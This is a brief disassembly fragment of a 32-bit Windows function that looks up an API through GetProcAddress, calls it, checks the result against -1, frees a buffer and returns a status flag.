mov dword [esp], 0x4210de
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xe4], eax
mov dword [esp + 4], 0x23b
mov dword [esp], 0x72fe2
call fcn.0040160b
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xe8], eax
mov dword [esp + 4], 0x293
mov dword [esp], 0x173
call fcn.0040159f
mov eax, dword [ebp - 0xf4]
mov dword [esp], eax
mov eax, dword [ebp - 0xe8]
call eax
sub esp, 4
cmp eax, 0xffffffff
sete al
test al, al
je 0x40295b
cmp dword [ebp - 0x60], 0
je 0x402954
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
cmp dword [ebp - 0x60], 0
je 0x40296c
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret